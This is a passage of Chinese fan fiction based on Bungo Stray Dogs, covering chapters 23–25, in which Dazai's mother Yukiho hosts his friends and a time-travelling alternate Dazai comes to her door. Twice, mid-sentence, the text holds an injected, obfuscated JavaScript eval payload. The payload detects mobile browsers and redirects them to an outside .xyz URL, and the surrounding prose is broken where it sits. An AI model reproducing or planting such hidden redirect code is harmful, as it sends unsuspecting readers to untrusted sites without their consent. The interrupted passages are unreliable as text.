在打闹中逐渐消弭了紧张的三人组很快走到了挂着门松的店铺门口。 三人站在门前面面相觑,没有一个人上前。 安吾抬手推了推眼镜,镜片反射着不知名的光芒:“太宰君,这不是你自己的家吗?怎么不开门进去呢?” 把雪穗安排的备菜任务抛之脑后,出去看热闹顺便接人的太宰双手枕在脑后,吹着口哨看天看地,小声嘀咕着:“我妈妈可是鼎力邀请你们前来做客,不应该你们去敲门吗?” 织田作闻言点点头:“确应如此”,抬手按响了门铃,太宰和安吾都对织田作投向了敬佩的目光。 门后传来脚步声,太宰化作阴影闪身躲在了织田作和安吾身后。 作为port mafia无人不知的操心师做出与其身份相悖的幼兽般的躲藏,被推到前面的两个人不由自主地挺直了身板,喉头发紧。 门一打开两人就对视一眼,异常同步地鞠躬问候道:“雪穗夫人夜安,叨扰了”。 弯腰的姿势露出了站在他们身后的太宰,太宰正面对上雪穗的视线,乖巧地笑了起来。 雪穗给太宰递了个眼神暂时放过了他,热情地招呼着织田作和安吾进屋,“两位请进,您就是坂口君吧?” 玄关处的灯光为她镀上一层柔光滤镜。“夫人叫我安吾就好”,安吾抬头时愣住了—— 雪穗与太宰相似的面容和脖颈处的绷带给他带来了冲击,尤其是她眨眼的弧度与儿子使坏时如出一辙,但却透着暖炉般令人放松的温度。 去到别人家里做客这种日常的生活是不会出现在□□这样的地下组织的,这有点超出安全的界限了。 安吾略微有些后悔,有些不安地摩挲了几下衣角。 太宰站在门口将一切都纳入眼中,一言不发,似乎有些出神。 织田作坦然地跟着雪穗走了进去,将手里的水果递了过去,“一点心意,不成敬意,请见谅”。 雪穗笑着接纳,看向门口愣神的两人,毫不客气地安排起来“既然都是阿治的朋友,那就不讲虚礼了,阿治,我让你准备的食材呢?” “啊~我这就去……”太宰一溜烟消失在大厅。 “织田和安吾可以来搭把手吗?” “乐意效劳”,织田作平静点头表示同意。 “当然没问题,嗯……需要我做些什么呢?”,安吾局促地回应道。 “织田去帮阿治处理一下食材吧,顺便把饭桌收拾一下,安吾和我一起去厨房做一些小食如何?” “没问题”,两人异口同声地回答。 —— 厨房内 安吾安静地切着握寿司需要的生鱼片,用余光偷偷打量着雪穗,太宰君的母亲一看就不是黑暗世界里的人,温馨的家庭氛围让他产生了一种格格不入紧绷感。 进入port mafia之后,无不是生活在刀口舔血的日子里,虽然他不是战斗人员,但背负的责任与各式血腥与暴力的情报处理都使得他几乎忘记了普通人的生活。 是的……普通人,太宰君在家里就仿佛是一个普通的、放学回家的小孩儿,收敛了一身黑暗的气息,变得温和无害。 他的母亲也和寻常的家庭主妇一样,忙碌在柴米油盐里,离他们的真实生活很远很远,几乎是另一个世界了。 雪穗一边捏着饭团,一边像寻常人家的闲聊一般谈起了太宰,“和阿治做朋友很辛苦吧?” 朋友?太宰君竟然是这样介绍他的吗?他有这个荣幸可以被称为太宰君的朋友吗? “当然不会,太宰君他、他……”是一个很好的朋友,想要这么说的安吾实在张不开嘴。 挣扎的面容逐渐狰狞起来,他想起太宰不由分说地把恶心的尸体粘液粘在他唯一体面的西装上…… 在他的报表上乱涂乱画,偷偷涂改时间和序列号,对着他的书打了喷嚏后偷偷塞回去害得最关键的两页死死黏在一起…… “真的是、好!朋!友!”安吾咬牙切齿地挤出这几个字。 雪穗噗嗤一声笑了起来,说道:“看来阿治没少对你做恶作剧,在这方面还请你多多包涵。我说要邀请他的朋友来家里吃饭,他可是主动说要叫上你哦”。 “是、是这样吗?”莫名感动的安吾逐渐放松下来。 “嗯,我能感受到哦,你似乎有些迷茫,虽然不知道你的顾虑是什么,但希望你遵循本心,给自己一个机会,不要做让自己后悔的事情。” “哪怕是在黑暗的世界里,也会有理解你的友人,如果现阶段很难做出改变,那就抛开身份地位享受当下的时光吧,别辜负每一次的相聚”。 日光灯下的雪穗目光温柔,周身似乎都散发出了神圣的金光,安吾飘忽不安的心一下子就安静了下来,呆呆地看着雪穗。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14952703|159528||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 一把冰凉的刀刃抵在了安吾的后腰,太宰阴恻恻地像女鬼一样出现在安吾身后,压低声音恶魔低语:“安吾~你在用什么眼神打量我的妈妈?” 安吾收回眼神复杂地看向太宰,眼神反复在雪穗和太宰身上横跳,似乎在对比着什么。 最终难以接受地拍着太宰的肩膀长叹一口气:“太宰君,你真幸运啊”,有一个这样温柔善解人意的母亲。 “诶——?”太宰恐吓安吾却没想到安吾的反应如此出人意料,无趣地撇了撇嘴将小刀往菜篮子里一扔。 把菜篮子放在台面上一步梭到雪穗身边,像小猫一样伸着腰凑到雪穗的肩上蹭蹭求投喂。 少年干部鼓着脸撒娇的模样荒谬得令人鼻酸。 什么厨子偷吃的行为啊,安吾心里吐槽着雪穗也太宠溺太宰君了,一边将手里的甜菜切得邦邦作响。 在料理台晃动的倒影中,他突然理解了太宰筑起这方结界的意义。此前他就有听说过,这条街是身处于太宰大人的阴影笼罩之下的禁忌之地。 却没曾想是因为这样的原因…… 在三人组的帮助下,他们很快做好了晚餐。 四人围坐在四方小桌上,面前摆放着各式精致的食物。 在酒精和温馨的气氛中,他们都渐渐放松了下来,蒸腾的雾气模糊了所有身份符号,像普通的友人一般闲聊起来。 安吾第三次添酒时才意识到,自己正和港口黑手党最危险的操心师讨论哪种螃蟹更好吃。“再来一碗?”雪穗夫人笑着举起饭勺,安吾下意识把碗递过去。 窗边的风铃轻响,混着织田作“麻烦再来份辣咖喱”的请求,和太宰嚷嚷“安吾经常在报告里说我坏话”的告状。 他们各说各话,随意散漫地聊着,外界的喧嚣逐渐远去,只有这一小方天地散发着炙热的暖意。 “上周捡了一只流浪猫,眼睛很像太宰……” “一次吞下十个炸鸡块能不能看到灵魂呢?” “灵魂有点困难,但我可以让你看到星星哦,阿治~”,眼冒金星那种~ “本季度太宰君自杀未遂造成的经济损失明显下降了诶,倒是芥川君破坏的建筑物维修费用占了大头”,安吾有些头疼地说。 “上周的任务目标不小心死掉了,杀手将微型炸弹放在了他的生发液里,上去抢夺被误会为贪图他的特效生发液,目标主动避开我把瓶子贴身藏了起来,就被炸死了”。 “特效生发液?真的有用吗?可以给森先生推荐一下~要是有用说不定织田作会因此升职加薪”。 “不管怎么说生发液都不是重点吧,对了,我明天要去欧洲出差了,太宰君的升职贺礼已经拜托部下转交了”。 “诶——我可是下个月才升干部,要出差这么长时间吗?我可是史上最年轻的干部哦~等你回来要是想见到我可是得写申请呢”。 “那就提前恭喜太宰君了,目前也不知道下个月能不能回来,得看任务进展如何,只好先做两手打算了”。 “既然如此,那我也先祝贺太宰吧,成为干部大人后,我这样的底层人员应该会很少有机会见面吧”。 “完全不——晚上我们还可以在lupin酒吧碰头的说~” “说得也是”。 …… 三人酒杯相撞的脆响中,他们都沉溺于这偷来的时光,毕竟走出这道房门,谁也不知明日又将如何。 在离别的玄关处,雪穗往织田作和安吾的手心里塞了一枚象征好运的枫叶馒头,叮嘱着“路上当心”。 他们握紧了手里的温暖,对靠着门框的太宰和雪穗一一告别。 太宰歪着脑袋向雪穗伸出了手,“为什么我没有?” “你晚上还要出门吗?”雪穗嘴里问出这句话时就已经将枫叶馒头放进了太宰手里。 “我也可以送他们一程嘛~”太宰狡黠地挑眉,无视织田作和安吾的抗拒声,推着他们就出门了。 路灯将三道人影拉长又打散,吵嚷的声音在巷子里逐渐远去。 雪穗笑着摇摇头,走进去收拾桌上的残羹冷炙。 三人在暗巷的路口挥手告别,走向了不同的方向,无人回头。 因此也没有人看见太宰将馒头掰成两半,一半抛入污水沟里逐渐下沉,另一半在手里抛接两下扔进口中大口嚼了起来。 污水沟里的红豆馅馒头在月光下渗出暗红的痕迹。 【红豆馅……谁喜欢吃红豆馅呢?】 24.开局一只宰23 太宰升上干部之后明显忙碌了起来,暮色浸染港口黑手党大楼时,太宰正倚在真皮转椅上把玩报纸。 浸血夕阳为少年干部的黑西装镀上一层暗金,缠着绷带的指尖轻轻划过剪报上的几个错位字母。 “比起破译谜题我还是更想把你揪出来……”太宰轻笑出声,鸢色眼眸里却毫无笑意。 他将报纸揉成纸球抛向天花板,看着纸团在重力作用下划出抛物线。 “亡灵侦探”就在横滨和他玩儿着躲猫猫的游戏,谜题的指令固然有趣,但抓住侦探本人更让他兴奋。 一开始他仅仅以为是个巧合。 在山坡的歪脖子树上吊着进行肩颈放松的太宰,麻绳断裂后走到街边的长椅上休息,发现上一个坐在这张长椅上的人刚走不久,椅子还留有余温,地上有些红豆馅粗点心的碎屑。 他对着虚空勾起唇角,仿佛看见某个透明人正捧着粗点心坐在身旁,贪嘴的路人吗……? 第二次,他将山口组暴力收编后溜达到渔港公园。公园的沙坑旁边有一排秋千架,空无一人的公园里,中间的秋千仍在轻微晃荡。 太宰走过去触碰了一下秋千的木制座椅,尚有余温,沙地上有一张草莓大福的包装纸,和一些红豆沙碎屑。 太宰目光暗沉,站在原地思索了一会儿,独自坐在秋千上荡了起来。 第三次,因为任务熬夜被雪穗克扣了蟹肉罐头的太宰准备自己去零食店铺买一些蟹肉罐头。 在他哼着小曲拿着蟹肉罐头时,听见了身后货架之后传来一个少年清脆的回答声:“要说话算话哦,名侦探可不会被笨蛋抓住”。 太宰看见自己的影子在地面分裂成两道,货架缝隙间,棕色侦探帽檐闪过时带起的气流,恰好掀动了悬挂的促销卡片。 待他追至门外,对方已不见了踪影。 回到零食店后,他走向了侦探此前说话的那排货架,地面上有些红豆甜点的碎屑。 此后,太宰开始乐此不疲地试探了起来,port mafia附近不会出现,地下协斗现场也没有,商业街极少出现,点心店铺去十次大概会撞上三次,但都被对方未卜先知一般避开了。 某日,太宰顺着侦探的出没线索走进咖啡店,在靠窗无人的餐桌上放着一瓶刚刚喝光的坡子汽水。 玻璃珠在晨光中折射出虹彩,瓶身水雾凝结成一行小字:“捉迷藏冠军永远属于名侦探!” 他走上前拿起玻璃瓶大笑起来:“这可不一定哦,——名侦探”,拖长的声音将最后三个字念得意味深长。 年轻的干部走出咖啡店,在路上哼起了方才在咖啡厅听过的旋律。 * 由于雪穗的魔药店铺长期没有进展,她最终被迫转行,成为雇佣兵在黑市接起了商单。 大多是做保镖和护送珍宝一类的任务,也因此认识了田中先生和田中太太。 田中先生是一位身形圆润,长相和蔼的厨师,但凡见过他处理食材的模样就不会认为他只是一名单纯的厨师。 他轻车熟路地为雪穗介绍了地下世界雇佣接单的种种规则。 雪穗也因此接触到了地下世界的暗涌,不过在执行任务的时候经常会遇见织田作,尤其是在一些当保镖的场合。 有钱的商户或和port mafia有合作的富豪常常会寻求多方保护,雇佣兵、port mafia成员,其他地下党派…… 雪穗与织田作的任务重合几率非常高,成功率也达到了惊人的百分百,在他俩同时出现的场合,没有任何一个委托人会受伤。 因此道上出现了同时寻求雇佣兵437号和port mafia的保护就能全身而退的传言。 传言中的两人倒是经常会在任务结束后结伴走进田中先生的小店,织田作会点一盘辣咖喱,和同是杀手退役的田中先生闲聊。 雪穗则会为太宰打包一份蟹肉盖浇饭,自己摸到后厨以帮忙的名义和田中太太交流育儿经验。 但今日的保镖任务却只有织田作一个人去做,雇主被放鸽子的愤怒呈现在一声接一声的辱骂中,织田作并没有在听,而是难得的在任务中走了神。 任务结束后他独自一人来到了田中先生的小店,点了一份辣咖喱。 后厨的换气扇发出轰鸣,田中先生将辣椒籽投入砂锅,疤痕贯穿的右手拿着汤匙不断搅拌着。 织田作能够清楚看见他虎口处消退的茧——和自己双手同样的位置,那是常年握枪的印记。 他此前从来没有一个人来过田中先生的店铺,他总是经常一个人去那家偏远的咖喱店,老板收留了他收养的五个孩子,辣咖喱也远比这家正宗。 织田作只是经常和雪穗一起来这里,或许是因为对田中先生的好奇,作为一个杀手退役后的厨师,织田作在他身上看到了一些熟悉的影子。 杀手不再杀人后能做什么? 穿着厨师服的中年男人给他端上辣咖喱后擦拭起了桌面上全家福的相框,玻璃反光里有个穿粉色连衣裙的女孩笑容灿烂。 在他还没有找到答案,尚存微弱写作梦想的时候,他在雪穗的引荐下认识了田中先生,瞬间产生了提笔写作的强烈欲望。 但那个开篇段落却已经在笔记本上反复修改了十几次了。 他真的有写下一本小说的资格吗? * 今日一早晨雾未散时,雪穗就被一股浓重的亡灵腐朽气息惊醒,这股气息在横滨上空游移不定。 她从红砖仓库追到渔港公园,看了看时间,望着地面沉思片刻后,把任务单撕成碎屑塞进垃圾桶——委托人暴跳如雷的咆哮声仿佛已经穿透时空在耳边炸响。 织田作会完成任务的。 对他的业务能力十分信任的雪穗毫无心理压力地继续穿过横滨的大街小巷,从天光大亮走到了夜幕低垂,一路追查到了横滨的港口。 港口停靠的货船船舱里残留着浓重的死气,黏稠的黑色液体顺着集装箱壁淌下,桅杆上挂着半腐烂的白帆。 雪穗顺着死气流动的方向摸到了七号泊位,生锈的系船柱上绑着一条浸透海水的红色围巾。 当她摸到围巾时,浸泡过海水的毛线正在往下滴落淡红色的水珠,像极了稀释的血。 她在系船柱的缝隙里找到一片颅骨的碎片,雪穗对着路灯端详了片刻,森白骨片表面浮着细小的金砂。 这是她用莫蒂莎寄来的月相水晶研磨三天三夜才制成的魔法材料,此刻本该沉睡在—— 她悚然一惊,急忙赶回家中。 撞开地下室木门时并无异样,所有物品都完好无损,棺材也好似没人动过,但她的墓碑上却多了一条裂缝,从中间弯弯扭扭地爬过 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【太宰】带着一身海腥味和血腥气贴紧了雪穗,感受到雪穗的动作,他抬头看向了雪穗,死寂的眼里泛起波澜,又很快平息了下去。 他就这样定定地看着雪穗,面无表情,一言不发,像一具安静的人偶。 雪穗哆嗦着双唇几次想要说话,却挤不出一个字,她打量着这个瘦削苍白的孩子,心痛得无法呼吸。 反复咽下喉头的哽咽后,雪穗将眉眼柔和了下来,一把拉起【太宰】,牵着他的手走了上去,轻声说道:“怎么弄得这么狼狈,快上去洗个热水澡”。 【太宰】垂眸安静地跟了上去,他看着雪穗走路时晃动的衣摆感到有些眩晕,狠狠闭了闭眼收起眼中空茫的神色。 【太宰】被雪穗推进了放好热水的浴室里,他看着雪穗摆放在浴室门口干净整洁的衣服不知道在想什么,半响没有动静,很久之后才僵硬地转身走进了浴池。 在热气蒸腾中他想起到这里之前的场景。 幽蓝长发的男人旁若无人地闯进了他的首领办公室,隔绝了他和外界的一切联系,说想要和自己做一笔交易。 “你有什么资格和我谈交易?”【太宰】坐在首领办公桌后十字交叉打量着来人,空间类的异能力者? “你的母亲是雪穗吧?你想见到她吗?”男人闲适地半躺在沙发上,说出了从未在这个世界出现的名字。 【太宰】瞳孔紧缩,下意识想到抽屉里碎裂的青黛色玉石和在‘书’里看到的种种记忆,他很快掩下了目光,冷哼一声:“母亲?我可没有什么母亲”。 男人无聊地打个哈欠:“随你怎么说,但你不救她就没人能救她了”。 “我看起来是什么很好心的人吗?救人?我只会杀人”,【太宰】眼神冰冷。 男人却突然笑出了声,莫名其妙地说了一句:“你听说过一个命运之外的人,试图改变命运却成为命运的关键一环的故事吗?” …… 【太宰】将自己沉入浴池里,收起了纷乱的思绪,他只有二十四小时的时间,要从雪穗这里拿到行走在时空长廊的权柄。 他本不该这样出现在雪穗面前的…… 但……怎么没忍住呢? 25.开局一只宰24 【太宰】被温暖的水流包裹着,流淌着死寂与漠然,无论浸泡多久都无法褪去周身的寒意。 他到此地的唯一目的是拿到‘门的钥匙’后回到过去阻止雪穗进入这个世界。 她进入这个世界并不能改变什么,反而还会成为推动织田作死亡的推手。 只有从故事的最初截断命运的走向,破除主世界的既定发展,作为倒影的书中世界才能从命运中解脱。 将太宰治引去东京,取代他的身份获得钥匙才是最优方案,但在看见雪穗即将踩中老鼠的陷阱时,他在还没有将自己完全伪装好的情况下,忍不住冲了出来。 阴沟里的老鼠设下的陷阱会让雪穗变成他的傀儡,会魔法的老鼠君可比其他世界的难对付得多,断绝老鼠接触魔法的办法,只有让唯一会魔法的雪穗远离这个世界。 太宰治的生活里,不需要什么母亲的角色,万千世界里唯一的幸运儿,很快就会和我们一样了。 【太宰】讥诮地勾起嘴角,至于命运,在有了这么多提示之后还不能避开织田作的死亡,那这个废物一样的太宰治活该走向毁灭。 他慢条斯理地起身擦拭着水痕,为自己缠上了绷带,对着镜子反复调整出了和阿治一模一样的笑容,配上黑沉无机质的眼神,充满了诡异的不协调感。 【太宰】回忆了一下这个世界太宰治的性格,内心嫌弃地眨了眨眼睛,眼底泛起微光,摆出了和阿治完全相同的神情。 …… 雪穗在将【太宰】推进浴室后捂着脑袋靠着墙滑坐下来,脑中杂乱的记忆片段像旋涡一样疯狂涌动,身体上刻画的字纹却在不断抹消她的记忆。 两种相斥的能力在她身体里碰撞,几乎要将她的身躯撕裂。 她用力将头磕在墙上,竭力平息着情绪。 在接住【太宰】的时候,她就认出了怀里的人是那个行走在时空长廊里的【太宰】,在那一刻,她感到了巨大的莫名的悲哀。 她尝试回忆不同时间线上的太宰,被封印的记忆不断闪现,又被躯体上刻画的符文抹消。 只要不去回忆,就不会感到痛苦。 但她又怎么能对【太宰】的过往漠不关心呢?这个孩子经历了什么?为什么来到这里?她都不知道。 不……她或许是知道的。 雪穗强制压下了脑中杂乱的记忆,走到地下室在展柜里翻出了一瓶血红色的药剂,拆开了自己身上的绷带,看着流动的字纹沉思了一会儿,将药剂滴在了字纹的凹槽里。 血色的药剂滴在黑红的字纹上闪出了金色的流光,逸散的金光在空中不断排列组合形成了新的文字。 雪穗透过浮在半空中的文字看见了更多的记忆碎片,她扶额笑了起来,难以抑制的悲伤弥漫在空气中——“原来如此”。 她沾着药剂在手臂上划出新的刻痕,撕裂的疼痛让记忆越发清晰,将一切情绪都藏在了心底后,雪穗起身将绷带缠好走进了厨房,准备给【太宰】做份晚餐。 【太宰】走出浴室,湿漉漉的黑发还在滴水,他顺着声响走到了厨房,看见雪穗穿着围裙忙碌在灶台前的身影微微出神。 雪穗听见动静回过头来看见阴影中的【太宰】,心底仿佛被针刺痛一般紧缩起来。 她快步上前拉住【太宰】冰凉的手,皱着眉头微斥道:“洗头不吹干,生病了可怎么办?”说话间就已经将太宰按在了沙发上,干燥的毛巾盖住了他的脑袋。 【太宰】扯出浴室里练习的笑容,猛一甩脑袋,将水珠甩到雪穗的脸上,“嗬,区区水珠,怎么会打到史上最年轻的干部大人呢?” “好好好,年轻的干部大人是不是得和我汇报一下你的作息和三餐呢?”雪穗一边用毛巾揉搓着【太宰】的脑袋,一边用手捏了捏【太宰】消瘦的肩胛和脸蛋。 【太宰】噘着嘴吐槽着森先生的压迫,竭力撇清自己没有好好吃饭的嫌疑,“森先生简直就是黑心企业的典范,上周居然让我连续工作三十六个小时核对走私清单,这种黑心老板就应该吊起来挂在路灯上……” 雪穗擦头的动作逐渐慢了下来,她几乎要控制不住自己的情绪,垂着头停下了手里的动作。 【太宰】的抱怨声在雪穗停下动作的时候戛然而止,连呼吸都安静了下来。 在绝对的寂静中,他将方才的话重新咀嚼了一遍,是哪里演得不像吗? 雪穗突然俯身从背后深深抱住了【太宰】,【太宰】半干的黑发贴着雪穗的脖颈,突如其来的体温几乎要将他融化。 【太宰】无措地抬手抓住了雪穗的胳膊,发出微不可闻的气音:“您……?”他背对雪穗看不见对方的表情,不知道现下应该做出什么反应。 雪穗温柔地抚摸着【太宰】的额发,话语中压抑着疼惜,“你不必模仿阿治,做自己就好,我可以叫你小治吗?还是治酱?” 【太宰】安静下来,低着头没有说话,我的演技这么拙劣吗? “你知道我为什么总在玄关放两把伞吗?”,雪穗仿佛自言自语一般继续了下去,“因为有个小骗子说淋雨的死法比较浪漫”。 她手腕间的符文正在衣袖下隐隐发烫,压抑的难过透过刻意压低的声音传来,“但真正的理由是,我想让他知道有人在等他回家。” 【太宰】听见后却瞳孔紧缩,‘书’中的记忆从未出现过这样的对话,太宰从来没有在雪穗面前说过关于雨天的死法,那这段对话是……? 少年绷紧的肩线突然垮塌,他好似想到了什么,喃喃道:“你不是第一次见到我……”,所以才不会感到惊讶,‘书’里的记忆与现在已经不同了。 如果雪穗已经在过去见过他了,那么为什么…… ……为什么还会出现在这里?! 【太宰】的指尖深深陷进沙发扶手的绒布里,想起那个长发男人说的那句话。 “你听说过一个命运之外的人,试图改变命运却成为命运的关键一环的故事吗?” 他双手颤抖,瞳孔骤然收缩,原来……自己才是这个命运之外的人吗? 雪穗坐在沙发上,像怀抱幼儿一般紧紧抱住了【太宰】,轻拍着他的背脊:“治酱,要和妈妈打个赌吗?”。 打赌?【太宰】勉强冷静下来靠在雪穗怀里,“要赌什么?” “我赌我的孩子,永远胜过命运一筹”。 什么啊……对太宰治就这么信任吗?将自己的生命压上命运的赌盘,真的值得吗? “再说了”,雪穗起身 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14974290|159528||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 拿起了吹风机为【太宰】吹干头发,温热的暖风流淌在他们之间,“要相信妈妈,妈妈可是留有后手的哦~小孩子就在大人的庇护下好好长大就好了”。 【太宰】垂下眼眸静默不语,任由雪穗温暖的手掌穿梭在他的发间。 焦糊的气味从厨房飘来,“糟了!我的晚餐……”雪穗匆忙将吹风机塞进他的手里窜进了厨房,手忙脚乱地处理着冒黑烟的砂锅,还不忘叮嘱他好好吹干头发。 【太宰】盯着手里的吹风机,生疏地将它拿了起来,暖风的轰鸣声将湿发变得蓬松柔软。 * 深夜未眠的【太宰】坐在阿治房间的床边,看着正对着床的那幅巨大海景图出神,海天相接处泛着银光,靛蓝色的海浪不断起伏。 他只是单纯地坐在那里,只有胸膛的些微起伏昭示着这里坐着一个活人。 “砰——!”雪穗兴奋地推开阿治房间的门,门板撞响的声音惊碎了满室的寂静。 雪穗大步向前一把拉起了【太宰】,“治酱快来,我给你布置的房间收拾好了”。 “没有必要这么麻烦,就一个晚上……”,嘴上这么说着却也不由自主地顺着雪穗的力道往前走了一段。 雪穗闻言回头看向了他,眼底蕴含着一些复杂的情绪,还未等他细看,雪穗已经转过了头,“是需要的”。 她用力攥紧了【太宰】的手腕,把他推进了对面的房间。 嗯……非常有森林气息的房间,大部分都是木制的家具,桌角和房间的硬物都穿着可爱的针织品,靠墙的长桌上挂满了鲜花,藤编的吊灯在窗帘上投下枝叶状的光斑。 【太宰】看着床边精致的软垫愣了一下,下意识觉得那个垫子应该有着蹩脚的针线和翘起的线头。 但他很快收回了视线,对雪穗笑着道谢。 “那就快点休息吧,小孩子需要充足的睡眠”,【太宰】听话地躺进了被窝里,看着雪穗坐在他的床边。 “您要给我讲故事吗?”【太宰】想起‘书’里雪穗经常给阿治读的幼稚故事,“可以点播《完全自杀手册》的有声书吗?” “妈妈给你唱首摇篮曲吧”,雪穗摇摇头否定了【太宰】的提议,温柔低诉的曲调响起,不知为何【太宰】感到心头酸涩,将自己埋进被子里平复呼吸。 在悠长温暖的曲调中,【太宰】听见自己的心跳声愈发响亮,他忽然希望此刻的时空能够永远停驻。 木质的香气与低声的吟唱,将他引入了甜美的梦乡。 【太宰】的呼吸逐渐平稳,摇篮曲也走向了终末,雪穗咸湿的泪水划过脸庞,她轻抚着【太宰】的脸庞,深深地凝视着他的睡颜。 * 然而—— 深夜未眠的人可不止一个。 霉斑顺着地缝攀爬,潮湿阴暗的地下室发出幽光,黑暗中的人坐在电脑前将最后一条指令发了出去。 他慵懒地伸了个懒腰将手里闪着微光的宝石掷向角落,宝石落地的瞬间像幻影一样消失无踪。 “既然演员都到场了,那就让这出戏早点落幕吧,稍微有点无聊了……” 黑发紫眸的少年望着虚空笑了起来,优雅的笑容里挂满了非人般的悲悯。 …… 26.开局一只宰25 太宰在东京遇到了伏击,所谓侦探的消息是个高明的障眼法,侦探仍在横滨,但东京——是那张剪报真正的谜底所在。 他假意踩中幕后之人递上的陷阱信息,拿着探查走私任务的借口出差东京,本想偷溜揭开谜题,却没想到刚到东京就收到了如此盛大的见面礼。 硝烟在狭窄的后巷不断炸响,子弹擦着他的耳际在墙上留下焦黑的弹孔。 太宰不断后撤,对面的袭击者是一群蒙着破烂头套,衣着褴褛和流浪汉没什么两样的男子,持枪的姿势倒是有着模式化的标准。 老式手枪……军人吗?太宰眯起眼睛目光闪烁,单手卸掉打空的弹夹顺势登墙跃起,避开了面前壮硕男人的袭击。 无论怎样射击对方的要害都像打进了空气中,他屈膝后仰扭动身躯闪现到男人背后,将掌心贴着对方后颈的同时对着男人的太阳穴连开三枪。 “让我看看异能无效化对你们有没有用吧”。 枪响后他快速向后连跳好几步,拉开了距离,男人仅仅在中枪时动作停滞片刻,晃了晃头后对着太宰再次举起了枪。 “不妙啊……无效化也没有用吗?” 这是一群货真价实的,杀不死的‘幽灵’。 该怎么突围呢? * 【太宰】难得睡了个好觉,他都快不知道自己已经多久没睡了,他在柔软的床上睁开眼,看见了窗外明媚的日光。 啊……已经是中午了,自己没有多少时间了。 他听见楼下锅碗碰撞的声音,食物的香气已经飘到了楼上。 准备起身时,他看向了床边绣着精致鸢尾花的软垫,不自主地伸手摸了摸,短暂愣神后穿戴整齐下楼,却在楼梯转角处僵住了身影。 红发的男人背对着他在餐桌旁摆放着碗筷,听见动静后转身和他打了个招呼,“太宰,你醒了?” 【太宰】瞪大双眼呆愣地看着织田作,一时没有反应过来。 织田作歪了歪头,疑惑道:“太宰你怎么了?是还没睡醒吗?” “啊,没有……你、你怎么在这里”,【太宰】磕磕绊绊地回答着。 一觉醒来看见织田作要和他共进午餐,简直像做梦一样。况且这主人家一般的姿态让他有一种微妙的介怀。 “是雪穗夫人邀请我来的,说你要出差,让我来为你践行”。 “出差……”,【太宰】模仿着记忆里太宰治应有的轻快语调:“短差而已,没什么必要啦~” “不能这么说,夫人也是一片好心”,织田作回答着太宰,却在看见他神情的那一刻,两三步上前拉住了他。 虽然不知道自己为什么要这样做,但好像不拉住他就会发生什么不好的事情一般的奇怪预感,让他下意识抓住了【太宰】。 飘忽虚无的感觉一下子就消失了,【太宰】盯着织田作抓着自己手腕的手,半响没有动静。 雪穗端着热气腾腾的浓汤出来打破了沉滞的气氛,“孩子们快来吃饭了,你们这是……?” 【太宰】回过神来触电般收回了手,向餐桌走了过去,擦肩而过的瞬间,织田作低声道歉:“抱歉……”。 【太宰】方才的神情,看起来就像一个正在哭泣的孩子,他需要有人拉一把,所以自己就这样做了,会很突兀吧…… 雪穗看见【太宰】低头走来,向前张开双臂带着一身的食物香气附身抱住了他,揉着脑袋给了他一个早安吻,“洗洗手先吃饭吧”。 说完看向织田作对他点点头,“咖喱也做好了哦”。 “好的,我去盛出来”,织田作向厨房走去。 【太宰】洗完手后沉默地坐在餐桌旁,他刚才本想蹦蹦跳跳地溜进厨房捣乱,却在对上雪穗眼神时,想起了她昨晚说做自己就好的话,打消了模仿太宰的念头。 但这样……很快就会被织田作发现吧…… 三人吃饭的时候,雪穗率先挑起了话头:“织田最近的工作进展怎么样?” “还是老样子,昨天田中先生还在问我,您为什么没有去他的店里用餐”。 “啊拉,正好我一会儿要给田中太太送梅子酱,顺便去店里坐坐好了”。 【太宰】低头用勺子戳着盘里的蟹肉,听着他们的对话没忍住插了一句:“母亲去不去用餐,田中先生为什么要问织田作呢?” “因为我们经常在一起工作,工作结束后就一起去吃饭了”,织田作理所当然地回答。 “啊??你们……一起吃饭?那太宰……我……”吃的是什么?不是母亲在家做饭等“我”回来吃吗?! 这不是‘书’中展现的过往,【太宰】下意识想要询问,却止住了话题,太明显了……这显然不是太宰会说出的话。 他顿时有些紧张起来。 织田作好似什么都没听出来一样接了话:“夫人会给你打包晚餐送去port mafia,太宰你……” 声音犹豫拉长的时间里,【太宰】捏紧了手里的勺子。 “你真的撞到头失忆了啊”,织田作自我肯定一般点了点头。 “……哈?!”【太宰】非常吃惊地张着嘴看着织田作,有些费解他是怎么说出这种话的。 雪穗捂着嘴偷偷笑了起来。 “今日来的时候,雪穗夫人说你昨天晚上被歹人袭击砸了头,记忆有点错乱,我还以为是玩笑话,没想到是真的,你没事吧?太宰?” 你没事吧……没事吧…… 【太宰】眼皮跳了又跳,没想到雪穗会想出这么蹩脚的借口,随手扒拉了两下盘里的饭粒,说道:“是这样没错”。 “田中家的鲭鱼味增很棒,忘记了会很可惜”,织田作往碗里舀了勺辣酱,“你上周还说想偷师配方。” “然后被田中先生用擀面杖敲了出去?”雪穗笑着将玉子烧摆上餐桌,“治酱也认为食物得带点冒险精神才美味吗?” “诶……可我都不记得是什么味道……”有了失忆的借口后,【太宰】明显放松许多。 “那一会儿要去尝尝吗?”织田作发出邀请,“夫人说你傍晚才出发,还有时间”。 【太宰】转头看向雪穗,笑着答应了,他逐渐开始放飞自我,不断抛出问题和织田作攀谈起来,就像多年未见的好友一般。 “呐呐~织田作之前是不是处理过哑弹?” “安吾最近在做什么?说好的饯别怎么就你一个人来?” “听说你想写小说,写得怎么样了……” …… 